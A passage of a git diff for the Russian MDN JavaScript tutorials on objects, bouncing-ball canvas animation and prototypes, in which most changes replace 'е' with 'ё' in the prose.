используется, чтобы сообщить браузеру, что мы хотим создать экземпляр нового объекта, за которым следует имя функции с ее необходимыми параметрами, содержащимися в круглых скобках, и результат сохраняется в переменной - очень похоже на то, как вызывается стандартная функция. Каждый экземпляр создается в соответствии с этим определением:</p> +<p>В каждом случае ключевое слово <code>new</code> используется, чтобы сообщить браузеру, что мы хотим создать экземпляр нового объекта, за которым следует имя функции с её необходимыми параметрами, содержащимися в круглых скобках, и результат сохраняется в переменной - очень похоже на то, как вызывается стандартная функция. Каждый экземпляр создаётся в соответствии с этим определением:</p> <pre class="brush: js notranslate">function Person(name) { this.name = name; @@ -204,7 +204,7 @@ person1.bio() <h3 id="Дальнейшие_упражнения">Дальнейшие упражнения</h3> -<p>Для начала, попробуйте добавить еще пару собственных строк создания объекта и попробуйте получить и установить элементы полученных экземпляров объектов.</p> +<p>Для начала, попробуйте добавить ещё пару собственных строк создания объекта и попробуйте получить и установить элементы полученных экземпляров объектов.</p> <p>Кроме того, есть несколько проблем с нашим методом <code>bio()</code> - вывод всегда включает местоимение «He» ("Он" в пер. с англ.), даже если ваш человек является женщиной или какой-либо другой предпочтительной гендерной классификацией. И <code>bio</code> будет включать только два интереса, даже если в массиве <code>interests</code> указано больше. Можете ли Вы решить, как исправить это в определении класса (конструкторе)? Вы можете поместить любой код, который вам нравится внутри конструктора (вам, вероятно, понадобятся несколько условий и цикл). Подумайте о том, как предложения должны быть структурированы по-разному в зависимости от пола и в зависимости от того, имеет ли число перечисленных интересов 1, 2 или более 2.</p> @@ -268,7 +268,7 @@ person2.greeting()</pre> <h2 id="Сводка">Сводка</h2> -<p>В этой статье представлен упрощенный взгляд на объектно-ориентированную теорию — это еще не вся история, но она дает представление о том, с чем мы имеем дело. Кроме того, мы начали рассматривать различные способы создания экземпляров объектов.</p> +<p>В этой статье представлен упрощённый взгляд на объектно-ориентированную теорию — это ещё не вся история, но она даёт представление о том, с чем мы имеем дело. Кроме того, мы начали рассматривать различные способы создания экземпляров объектов.</p> <p>В следующей статье мы рассмотрим прототипы объектов JavaScript.</p> diff --git a/files/ru/learn/javascript/objects/object_building_practice/index.html b/files/ru/learn/javascript/objects/object_building_practice/index.html index b24628ef50..155d130c77 100644 --- a/files/ru/learn/javascript/objects/object_building_practice/index.html +++ b/files/ru/learn/javascript/objects/object_building_practice/index.html @@ -11,7 +11,7 @@ original_slug: Learn/JavaScript/Объекты/Object_building_practice <div>{{PreviousMenuNext("Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects/Adding_bouncing_balls_features", "Learn/JavaScript/Objects")}}</div> -<p class="summary">В предыдущих статьях мы рассмотрели всю существенную теорию объектов JavaScript и детали синтаксиса, давая вам прочную основу для начала. В этой статье мы погружаемся в практическое упражнение, давая вам больше практики в создании пользовательских объектов JavaScript, с веселым и красочным результатом.</p> +<p class="summary">В предыдущих статьях мы рассмотрели всю существенную теорию объектов JavaScript и детали синтаксиса, давая вам прочную основу для начала. В этой статье мы погружаемся в практическое упражнение, давая вам больше практики в создании пользовательских объектов JavaScript, с весёлым и красочным результатом.</p> <table class="learn-box standard-table"> <tbody> @@ -35,7 +35,7 @@ original_slug: Learn/JavaScript/Объекты/Object_building_practice <ol> </ol> -<p>В этом примере будет использоваться <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Canvas API</a> для рисования шаров на экране и API <a href="https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame</a> для анимации всего экрана - вам не нужно иметь никаких предыдущих знаний об этих API, и мы надеемся, что к тому моменту, когда вы закончите эту статью, вам будет интересно изучить их больше. По пути мы воспользуемся некоторыми изящными объектами и покажем вам пару хороших приемов, таких как отскоки шаров от стен и проверка того, попали ли они друг в друга (иначе известный как <strong>обнаружение столкновения</strong>).</p> +<p>В этом примере будет использоваться <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Canvas API</a> для рисования шаров на экране и API <a href="https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame</a> для анимации всего экрана - вам не нужно иметь никаких предыдущих знаний об этих API, и мы надеемся, что к тому моменту, когда вы закончите эту статью, вам будет интересно изучить их больше. По пути мы воспользуемся некоторыми изящными объектами и покажем вам пару хороших приёмов, таких как отскоки шаров от стен и проверка того, попали ли они друг в друга (иначе известный как <strong>обнаружение столкновения</strong>).</p> <h2 id="Начало_работы">Начало работы</h2> @@ -73,7 +73,7 @@ var height = canvas.height = window.innerHeight;</pre> <h2 id="Моделирование_мяча_в_нашей_программе">Моделирование мяча в нашей программе</h2> -<p>В нашей программе будет много шаров, подпрыгивающих вокруг экрана. Поскольку эти шары будут вести себя одинаково, имеет смысл представлять их в виде объекта. Начнем с добавления следующего конструктора в конец нашего кода.</p> +<p>В нашей программе будет много шаров, подпрыгивающих вокруг экрана. Поскольку эти шары будут вести себя одинаково, имеет смысл представлять их в виде объекта. Начнём с добавления следующего конструктора в конец нашего кода.</p> <pre class="brush: js notranslate">function Ball(x, y, velX, velY, color, size) { this.x = x; @@ -88,12 +88,12 @@ var height = canvas.height = window.innerHeight;</pre> <ul> <li><code>x</code> и <code>y</code> координаты - горизонтальные и вертикальные координаты, где мяч будет запускаться на экране. Координаты могут находиться в диапазоне от 0 (верхний левый угол) до ширины и высоты окна просмотра браузера (нижний правый угол).</li> - <li>горизонтальная и вертикальная скорость (<code>velX</code> и <code>velY</code>) - каждому шару задана горизонтальная и вертикальная скорость; в реальном выражении эти значения будут регулярно добавляться к значениям координат <code>x</code>/<code>y</code>, когда мы начнем анимировать шары, чтобы их перемещать на каждом кадре.</li> + <li>горизонтальная и вертикальная скорость (<code>velX</code> и <code>velY</code>) - каждому шару задана горизонтальная и вертикальная скорость; в реальном выражении эти значения будут регулярно добавляться к значениям координат <code>x</code>/<code>y</code>, когда мы начнём анимировать шары, чтобы их перемещать на каждом кадре.</li> <li><code>color</code> - каждый мяч получает цвет.</li> <li><code>size</code> - каждый мяч получает размер - это будет его радиус в пикселях.</li> </ul> -<p>Этим мы сортируем свойства, но что насчет методов? Мы хотим заставить эти шары на самом деле сделать что-то в нашей программе.</p> +<p>Этим мы сортируем свойства, но что насчёт методов? Мы хотим заставить эти шары на самом деле сделать что-то в нашей программе.</p> <h3 id="Рисование_шара">Рисование шара</h3> @@ -115,7 +115,7 @@ var height = canvas.height = window.innerHeight;</pre> <ul> <li>Положение <code>x</code> и <code>y</code> центра дуги - мы указываем свойства <code>x</code> и <code>y</code> нашего шара.</li> <li>Радиус нашей дуги - мы указываем свойство <code>size</code> шарика.</li> - <li>Последние два параметра определяют начальное и конечное число градусов по кругу, по которому проходит дуга. Здесь мы указываем 0 градусов и <code>2 * PI</code>, что эквивалентно 360 градусам в радианах (досадно, вы должны указать это в радианах). Это дает нам полный круг. Если вы указали только <code>1 * PI</code>, вы получите полукруг (180 градусов).</li> + <li>Последние два параметра определяют начальное и конечное число градусов по кругу, по которому проходит дуга. Здесь мы указываем 0 градусов и <code>2 * PI</code>, что эквивалентно 360 градусам в радианах (досадно, вы должны указать это в радианах). Это даёт нам полный круг. Если вы указали только <code>1 * PI</code>, вы получите полукруг (180 градусов).</li> </ul> </li> <li>В последнем случае мы используем метод <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/fill">fill()</a></code>, который в основном утверждает: «Закончите рисование пути, начатого с <code>beginPath()</code>, и заполните область, которую он занимает с цветом, указанным ранее в <code>fillStyle</code>».</li> @@ -165,7 +165,7 @@ testBall.draw()</pre> <p>Первые четыре части функции проверяют, достиг ли шар края холста. Если это так, мы изменяем полярность соответствующей скорости, чтобы заставить шар двигаться в противоположном направлении. Так, например, если мяч двигался вверх (положительный <code>velY</code>), то вертикальная скорость изменяется так, что он начинает двигаться вниз (отрицательная величина <code>velY</code>).</p> -<p>В этих четырех случаях мы:</p> +<p>В этих четырёх случаях мы:</p> <ul> <li>Проверяем больше ли координата <code>x</code>, чем ширина холста (мяч уходит с правого края).</li> @@ -174,7 +174,7 @@ testBall.draw()</pre> <li>Проверяем будет ли координата <code>y</code> меньше 0 (мяч уходит с верхнего края).</li> </ul> -<p>В каждом случае мы включаем <code>size</code> шарика в расчет, потому что координаты <code>x</code>/<code>y</code> находятся в центре шара, но мы хотим, чтобы край шара отскакивал от периметра - мы не хотим, чтобы мяч на половину заходил за границу экрана прежде чем он начнет возвращаться назад.</p> +<p>В каждом случае мы включаем <code>size</code> шарика в расчёт, потому что координаты <code>x</code>/<code>y</code> находятся в центре шара, но мы хотим, чтобы край шара отскакивал от периметра - мы не хотим, чтобы мяч на половину заходил за границу экрана прежде чем он начнёт возвращаться назад.</p> <p>Последние две строки добавляют значение <code>velX</code> к координате <code>x</code>, а значение <code>velY</code> - координате <code>y</code> - шар фактически перемещается при каждом вызове этого метода.</p> @@ -182,7 +182,7 @@ testBall.draw()</pre> <h2 id="Анимация_мяча">Анимация мяча</h2> -<p>Теперь давайте приступать к веселью! Сейчас мы начнем добавлять шары к холсту и анимировать их.</p> +<p>Теперь давайте приступать к веселью! Сейчас мы начнём добавлять шары к холсту и анимировать их.</p> <ol> <li>Во-первых, нам нужно где-то хранить все наши шары. Следующий массив выполнит это задание - добавьте его внизу кода: @@ -218,10 +218,10 @@ testBall.draw()</pre> <p>Наша функция <code>loop()</code> выполняет следующие действия:</p> <ul> - <li>Устанавливает цвет заливки на полупрозрачный черный, затем рисует прямоугольник цвета по всей ширине и высоте холста, используя <code>fillRect()</code> (четыре параметра обеспечивают начальную координату, а ширину и высоту для рисованного прямоугольника ). Это позволяет скрыть рисунок предыдущего кадра до того, как будет нарисован следующий. Если вы этого не сделаете, вы увидите, как длинные змеи пробираются вокруг холста, а не шары! Цвет заливки устанавливается на полупрозрачный, <code>rgba(0,0,0,0,25)</code>, чтобы позволить нескольким кадрам слегка просвечивать, создавая маленькие тропы за шариками по мере их перемещения. Если вы изменили 0.25 на 1, вы больше не увидите их. Попробуйте изменить это число, чтобы увидеть эффект, который он имеет.</li> - <li>Создает новый экземпляр нашего <code>Ball()</code>, используя случайные значения, сгенерированные с помощью нашей функции <code>random()</code>, затем <code>push()</code> на конец нашего массива шаров, но только в том случае, когда количество шаров в массиве меньше 25. Итак когда у нас есть 25 мячей на экране, больше не появляется шаров. Вы можете попробовать изменить число в <code>balls.length < 25</code>, чтобы получить больше или меньше шаров на экране. В зависимости от того, сколько вычислительной мощности имеет ваш компьютер / браузер, если указать несколько тысяч шаров, это может довольно существенно повлиять на производительность анимации. </li> + <li>Устанавливает цвет заливки на полупрозрачный чёрный, затем рисует прямоугольник цвета по всей ширине и высоте холста, используя <code>fillRect()</code> (четыре параметра обеспечивают начальную координату, а ширину и высоту для рисованного прямоугольника ). Это позволяет скрыть рисунок предыдущего кадра до того, как будет нарисован следующий. Если вы этого не сделаете, вы увидите, как длинные змеи пробираются вокруг холста, а не шары! Цвет заливки устанавливается на полупрозрачный, <code>rgba(0,0,0,0,25)</code>, чтобы позволить нескольким кадрам слегка просвечивать, создавая маленькие тропы за шариками по мере их перемещения. Если вы изменили 0.25 на 1, вы больше не увидите их. Попробуйте изменить это число, чтобы увидеть эффект, который он имеет.</li> + <li>Создаёт новый экземпляр нашего <code>Ball()</code>, используя случайные значения, сгенерированные с помощью нашей функции <code>random()</code>, затем <code>push()</code> на конец нашего массива шаров, но только в том случае, когда количество шаров в массиве меньше 25. Итак когда у нас есть 25 мячей на экране, больше не появляется шаров. Вы можете попробовать изменить число в <code>balls.length < 25</code>, чтобы получить больше или меньше шаров на экране. В зависимости от того, сколько вычислительной мощности имеет ваш компьютер / браузер, если указать несколько тысяч шаров, это может довольно существенно повлиять на производительность анимации. </li> <li>перебирает все шары в массиве <code>balls</code> и запускает каждую функцию <code>draw()</code> и <code>update()</code> для рисования каждого из них на экране, а затем выполняет необходимые обновления по положению и скорости во времени для следующего кадра.</li> - <li>Выполняет функцию снова с помощью метода <code>requestAnimationFrame()</code> - когда этот метод постоянно запускается и передается одно и то же имя функции, он будет запускать эту функцию определенное количество раз в секунду для создания плавной анимации. Обычно это делается рекурсивно - это означает, что функция вызывает себя каждый раз, когда она запускается, поэтому она будет работать снова и снова.</li> + <li>Выполняет функцию снова с помощью метода <code>requestAnimationFrame()</code> - когда этот метод постоянно запускается и передаётся одно и то же имя функции, он будет запускать эту функцию определённое количество раз в секунду для создания плавной анимации. Обычно это делается рекурсивно - это означает, что функция вызывает себя каждый раз, когда она запускается, поэтому она будет работать снова и снова.</li> </ul> </li> <li>И последнее, но не менее важное: добавьте следующую строку в конец вашего кода - нам нужно вызвать функцию один раз, чтобы начать анимацию. @@ -255,7 +255,7 @@ testBall.draw()</pre> <p>Этот метод немного сложный, поэтому не беспокойтесь, если вы не понимаете, как именно это работает. Ниже приводится объяснение:</p> <ul> - <li>Для каждого шара нам нужно проверить каждый другой шар, чтобы увидеть, столкнулся ли он с текущим мячом. Чтобы сделать это, мы открываем еще один цикл <code>for</code> через все шары в массиве <code>balls[]</code>.</li> + <li>Для каждого шара нам нужно проверить каждый другой шар, чтобы увидеть, столкнулся ли он с текущим мячом. Чтобы сделать это, мы открываем ещё один цикл <code>for</code> через все шары в массиве <code>balls[]</code>.</li> <li>Сразу же в нашем цикле for мы используем оператор <code>if</code>, чтобы проверить, проходит ли текущий шарик, тот же самый шар, что и тот, который мы сейчас проверяем. Мы не хотим проверять, что мяч столкнулся с самим собой! Для этого мы проверяем, является ли текущий мяч (т.е. мяч, метод которого вызван методом collisionDetect) такой же, как шар петли (т.е. шар, на который ссылается текущая итерация цикла for в collisionDetect метод). Затем мы используем <code>!</code> чтобы отменить проверку, чтобы код внутри оператора if выполнялся только в том случае, если они <strong>не</strong> совпадают.</li> <li>Затем мы используем общий алгоритм для проверки столкновения двух окружностей. Мы в основном проверяем, перекрывается ли какая-либо из областей круга. Это объясняется далее <a href="https://developer.mozilla.org/en-US/docs/Games/Techniques/2D_collision_detection">2D collision detection</a>.</li> <li>Если обнаружено столкновение, выполняется код внутри внутреннего оператора <code>if</code>. В этом случае мы просто устанавливаем свойство <code>color</code> обоих кругов на новый случайный цвет. Мы могли бы сделать что-то гораздо более сложное, например, заставить шары отскакивать друг от друга реалистично, но это было бы гораздо сложнее реализовать. Для такого моделирования физики разработчики склонны использовать игры или библиотеку физики, такие как <a href="http://wellcaffeinated.net/PhysicsJS/">PhysicsJS</a>, <a href="http://brm.io/matter-js/">matter.js</a>, <a href="http://phaser.io/">Phaser</a> и т.д.</li> @@ -268,7 +268,7 @@ testBall.draw()</pre> </ol> <div class="note"> -<p><strong>Примечание</strong>. Если вам не удается заставить этот пример работать, попробуйте сравнить код JavaScript с нашей <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/main-finished.js">готовой версией</a> (также смотрите, как он работает <a href="https://mdn.github.io/learning-area/javascript/oojs/bouncing-balls/index-finished.html">в прямом эфире</a>).</p> +<p><strong>Примечание</strong>. Если вам не удаётся заставить этот пример работать, попробуйте сравнить код JavaScript с нашей <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/main-finished.js">готовой версией</a> (также смотрите, как он работает <a href="https://mdn.github.io/learning-area/javascript/oojs/bouncing-balls/index-finished.html">в прямом эфире</a>).</p> </div> <h2 id="Резюме">Резюме</h2> diff --git a/files/ru/learn/javascript/objects/object_prototypes/index.html b/files/ru/learn/javascript/objects/object_prototypes/index.html index e488f1bdbc..eba89abee6 100644 --- a/files/ru/learn/javascript/objects/object_prototypes/index.html +++ b/files/ru/learn/javascript/objects/object_prototypes/index.html @@ -45,7 +45,7 @@ original_slug: Learn/JavaScript/Объекты/Object_prototypes <p>Точнее, свойства и методы определяются в свойстве <code>prototype</code> функции-конструктора объектов, а не в самих объектах.</p> -<p>В JavaScript создается связь между экземпляром объекта и его прототипом (свойство <code>__proto__</code>, которое является производным от свойства <code>prototype</code> конструктора), а свойства и методы обнаруживаются при переходе по цепочке прототипов.</p> +<p>В JavaScript создаётся связь между экземпляром объекта и его прототипом (свойство <code>__proto__</code>, которое является производным от свойства <code>prototype</code> конструктора), а свойства и методы обнаруживаются при переходе по цепочке прототипов.</p> <div class="note"> <p><strong>Примечание</strong>: Важно понимать, что существует различие между прототипом объекта (который доступен через <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf">Object.getPrototypeOf(obj)</a></code> или через устаревшее свойство <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto">__proto__</a></code>) и свойством <code>prototype</code> в функциях-конструкторах. Первое свойство является свойством каждого экземпляра, а второе - свойством конструктора. То есть <code>Object.getPrototypeOf(new Foobar())</code> относится к тому же объекту, что и <code>Foobar.prototype</code>.</p> @@ -55,7 +55,7 @@ original_slug: Learn/JavaScript/Объекты/Object_prototypes <h2 id="Понимание_прототипа_объектов">Понимание прототипа объектов</h2> -<p>Вернемся к примеру, когда мы закончили писать наш конструктор <code>Person()</code>- загрузите пример в свой браузер. Если у вас еще нет работы от последней статьи, используйте наш пример <a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-further-exercises.html">oojs-class-further-exercises.html</a> (см. Также <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-further-exercises.html">исходный код</a>).</p> +<p>Вернёмся к примеру, когда мы закончили писать наш конструктор <code>Person()</code>- загрузите пример в свой браузер. Если у вас ещё нет работы от последней статьи, используйте наш пример <a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-further-exercises.html">oojs-class-further-exercises.html</a> (см. Также <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-further-exercises.html">исходный код</a>).</p> <p>В этом примере мы определили конструктору функцию, например:</p> @@ -75,15 +75,15 @@ original_slug: Learn/JavaScript/Объекты/Object_prototypes <pre class="brush: js">var person1 = new Person('Bob', 'Smith', 32, 'male', ['music', 'skiing']);</pre> -<p>Если вы наберете «<code>person1.</code>» в вашей консоли JavaScript, вы должны увидеть, что браузер пытается автоматически заполнить это с именами участников, доступных на этом объекте:</p> +<p>Если вы наберёте «<code>person1.</code>» в вашей консоли JavaScript, вы должны увидеть, что браузер пытается автоматически заполнить это с именами участников, доступных на этом объекте:</p> <p><img alt="" src="https://mdn.mozillademos.org/files/13853/object-available-members.png" style="display: block; margin: 0 auto;"></p> -<p>В этом списке вы увидите элементы, определенные в конструкторе person 1 — Person() — <code>name</code>, <code>age</code>, <code>gender</code>, <code>interests</code>, <code>bio</code>, и <code>greeting</code>. Однако вы также увидите некоторые другие элементы — <code>watch</code>, <code>valueOf</code>и т. д. — они определены в объекте прототипа Person (), который является <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object">Object</a></code>.</p> +<p>В этом списке вы увидите элементы, определённые в конструкторе person 1 — Person() — <code>name</code>, <code>age</code>, <code>gender</code>, <code>interests</code>, <code>bio</code>, и <code>greeting</code>. Однако вы также увидите некоторые другие элементы — <code>watch</code>, <code>valueOf</code>и т. д. — они определены в объекте прототипа Person (), который является <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object">Object</a></code>.</p> <p><img alt="" src="https://mdn.mozillademos.org/files/13891/MDN-Graphics-person-person-object-2.png" style="display: block; height: 150px; margin: 0px auto; width: 700px;"></p> -<p>Итак, что произойдет, если вы вызываете метод в <code>person1</code>, который фактически определен в <code>Object</code>? Например:</p> +<p>Итак, что произойдёт, если вы вызываете метод в <code>person1</code>, который фактически определён в <code>Object</code>? Например:</p> <pre class="brush: js">person1.valueOf()</pre> @@ -99,7 +99,7 @@ original_slug: Learn/JavaScript/Объекты/Object_prototypes </div> <div class="note"> -<p><strong>Примечание</strong>: Официально нет способа получить доступ к объекту прототипа объекта напрямую - «ссылки» между элементами в цепочке определены во внутреннем свойстве, называемом <code>[[prototype]]</code> в спецификации для языка JavaScript ( см. {{glossary("ECMAScript")}}). Однако у большинства современных браузеров есть свойство, доступное для них под названием <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto">__proto__</a></code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto"> </a>(это 2 подчеркивания с обеих сторон), который содержит объект-прототип объекта-конструктора. Например, попробуйте <code>person1.__proto__</code> и <code>person1.__proto__.__proto__</code>, чтобы увидеть, как выглядит цепочка в коде!</p> +<p><strong>Примечание</strong>: Официально нет способа получить доступ к объекту прототипа объекта напрямую - «ссылки» между элементами в цепочке определены во внутреннем свойстве, называемом <code>[[prototype]]</code> в спецификации для языка JavaScript ( см. {{glossary("ECMAScript")}}). Однако у большинства современных браузеров есть свойство, доступное для них под названием <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto">__proto__</a></code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto"> </a>(это 2 подчёркивания с обеих сторон), который содержит объект-прототип объекта-конструктора. Например, попробуйте <code>person1.__proto__</code> и <code>person1.__proto__.__proto__</code>, чтобы увидеть, как выглядит цепочка в коде!</p> <p>С ECMAScript 2015 вы можете косвенно обращаться к объекту прототипа объекта <code>Object.getPrototypeOf (obj)</code>.</p> </div> @@ -108,14 +108,14 @@ original_slug: Learn/JavaScript/Объекты/Object_prototypes <p>Итак, где определены наследуемые свойства и методы? Если вы посмотрите на страницу со ссылкой <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object">Object</a></code>, вы увидите в левой части большое количество свойств и методов - это намного больше, чем количество унаследованных членов, доступных для объекта <code>person1</code>. Некоторые из них унаследованы, а некоторые нет - почему это?</p> -<p>Как упоминалось выше, наследованные свойства это те, что определены в свойстве <code>prototype</code> (вы можете называть это подпространством имен), то есть те, которые начинаются с <code>Object.prototype.</code>, а не те, которые начинаются с простого <code>Object</code>. Значение свойства <code>prototype</code> - это объект, который в основном представляет собой контейнер для хранения свойств и методов, которые мы хотим наследовать объектами, расположенными дальше по цепочке прототипов.</p> +<p>Как упоминалось выше, наследованные свойства это те, что определены в свойстве <code>prototype</code> (вы можете называть это подпространством имён), то есть те, которые начинаются с <code>Object.prototype.</code>, а не те, которые начинаются с простого <code>Object</code>. Значение свойства <code>prototype</code> - это объект, который в основном представляет собой контейнер для хранения свойств и методов, которые мы хотим наследовать объектами, расположенными дальше по цепочке прототипов.</p> <p>Таким образом <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/watch">Object.prototype.watch()</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/valueOf">Object.prototype.valueOf()</a></code> и т. д. доступны для любых типов объектов, которые наследуются от <code>Object.prototype</code>, включая новые экземпляры объектов, созданные из конструктора <code>Person()</code> .</p> -<p><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is">Object.is()</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys">Object.keys()</a></code> и другие члены, не определенные в контейнере <code>prototype</code>, не наследуются экземплярами объектов или типами объектов, которые наследуются от <code>Object.prototype</code>. Это методы / свойства, доступные только в конструкторе <code>Object()</code>.</p> +<p><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is">Object.is()</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys">Object.keys()</a></code> и другие члены, не определённые в контейнере <code>prototype</code>, не наследуются экземплярами объектов или типами объектов, которые наследуются от <code>Object.prototype</code>. Это методы / свойства, доступные только в конструкторе <code>Object()</code>.</p> <div class="note"> -<p><strong>Примечание</strong>: Это кажется странным - как у вас есть метод, определенный для конструктора, который сам по себе является функцией? Ну, функция также является типом объекта - см. Ссылку на конструктор <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function">Function()</a></code>, если вы нам не верите.</p> +<p><strong>Примечание</strong>: Это кажется странным - как у вас есть метод, определённый для конструктора, который сам по себе является функцией? Ну, функция также является типом объекта - см. Ссылку на конструктор <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function">Function()</a></code>, если вы нам не верите.</p> </div> <ol> @@ -127,9 +127,9 @@ original_slug: Learn/JavaScript/Объекты/Object_prototypes </li> </ol> -<p>Вы увидите большое количество методов, определенных для свойства <code>prototype</code> <code>Object</code>'а , которые затем доступны для объектов, которые наследуются от <code>Object</code>, как показано выше.</p> +<p>Вы увидите большое количество методов, определённых для свойства <code>prototype</code> <code>Object</code>'а , которые затем доступны для объектов, которые наследуются от <code>Object</code>, как показано выше.</p> -<p>Вы увидите другие примеры наследования цепочек прототипов по всему JavaScript - попробуйте найти методы и свойства, определенные на прототипе глобальных объектов <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date">Date</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number">Number</a></code> и <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a></code>, например. Все они имеют несколько элементов, определенных на их прототипе, поэтому, например, когда вы создаете строку, вот так:</p> +<p>Вы увидите другие примеры наследования цепочек прототипов по всему JavaScript - попробуйте найти методы и свойства, определённые на прототипе глобальных объектов <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date">Date</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number">Number</a></code> и <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a></code>, например. Все они имеют несколько элементов, определённых на их прототипе, поэтому, например, когда вы создаёте строку, вот так:</p> <pre class="brush: js">var myString = 'This is my string.';</pre> @@ -147,16 +147,16 @@ original_slug: Learn/JavaScript/Объекты/Object_prototypes <li>Например, попробуйте это в консоли JavaScript предыдущего примера: <pre class="brush: js">var person2 = Object.create(person1);</pre> </li> - <li>На самом деле <code>create()</code>создает новый объект из указанного объекта-прототипа. Здесь <code>person2</code> создается с помощью <code>person1</code> в качестве объекта-прототипа. Это можно проверить, введя в консоли следующее: + <li>На самом деле <code>create()</code>создаёт новый объект из указанного объекта-прототипа. Здесь <code>person2</code> создаётся с помощью <code>person1</code> в качестве объекта-прототипа. Это можно проверить, введя в консоли следующее: <pre class="brush: js">person2.__proto__</pre> </li> </ol> -<p>Это вернет объект <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">person1</span></font>.</p> +<p>Это вернёт объект <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">person1</span></font>.</p> <h2 id="Свойство_constructor">Свойство constructor</h2> -<p>Каждая функция-конструктор имеет свойство <code>prototype</code>, значением которого является объект, содержащий свойство <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor">constructor</a></code>. Это свойство <code>constructor</code> указывает на исходную функцию-конструктор. Как вы увидите в следующем разделе, свойства, определенные в свойстве <code>Person.prototype</code> (или в общем случае в качестве свойства прототипа функции конструктора, который является объектом, как указано в предыдущем разделе) становятся доступными для всех объектов экземпляра, созданных с помощью конструктор <code>Person()</code>. Следовательно, свойство конструктора также доступно для объектов <code>person1</code> и <code>person2</code>.</p> +<p>Каждая функция-конструктор имеет свойство <code>prototype</code>, значением которого является объект, содержащий свойство <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor">constructor</a></code>. Это свойство <code>constructor</code> указывает на исходную функцию-конструктор. Как вы увидите в следующем разделе, свойства, определённые в свойстве <code>Person.prototype</code> (или в общем случае в качестве свойства прототипа функции конструктора, который является объектом, как указано в предыдущем разделе) становятся доступными для всех объектов экземпляра, созданных с помощью конструктор <code>Person()</code>. Следовательно, свойство конструктора также доступно для объектов <code>person1</code> и <code>person2</code>.</p> <ol> <li>Например, попробуйте эти команды в консоли: @@ -165,7 +165,7 @@ person2.constructor</pre> <p>Они должны возвращать конструктор <code>Person()</code>, поскольку он содержит исходное определение этих экземпляров.</p> - <p>Хитрый трюк заключается в том, что вы можете поместить круглые скобки в конец свойства <code>constructor</code> (содержащие любые требуемые параметры) для создания другого экземпляра объекта из этого конструктора. Конструктор - это функция в конце концов, поэтому ее можно вызвать с помощью круглых скобок; вам просто нужно включить ключевое слово <code>new</code>, чтобы указать, что вы хотите использовать эту функцию в качестве конструктора.</p> + <p>Хитрый трюк заключается в том, что вы можете поместить круглые скобки в конец свойства <code>constructor</code> (содержащие любые требуемые параметры) для создания другого экземпляра объекта из этого конструктора. Конструктор - это функция в конце концов, поэтому её можно вызвать с помощью круглых скобок; вам просто нужно включить ключевое слово <code>new</code>, чтобы указать, что вы хотите использовать эту функцию в качестве конструктора.</p> </li> <li>Попробуйте это в консоли: <pre class="brush: js">var person3 = new person1.constructor('Karen', 'Stephenson', 26, 'female', ['playing drums', 'mountain climbing']);</pre> @@ -211,9 +211,9 @@ person3.bio()</pre> </li> </ol> -<p>Должно появиться всплывающее окно, с именем пользователя, определенным в конструкторе. Это действительно полезно, но ещё более полезно то, что вся цепочка наследования обновляется динамически, автоматически делая этот новый 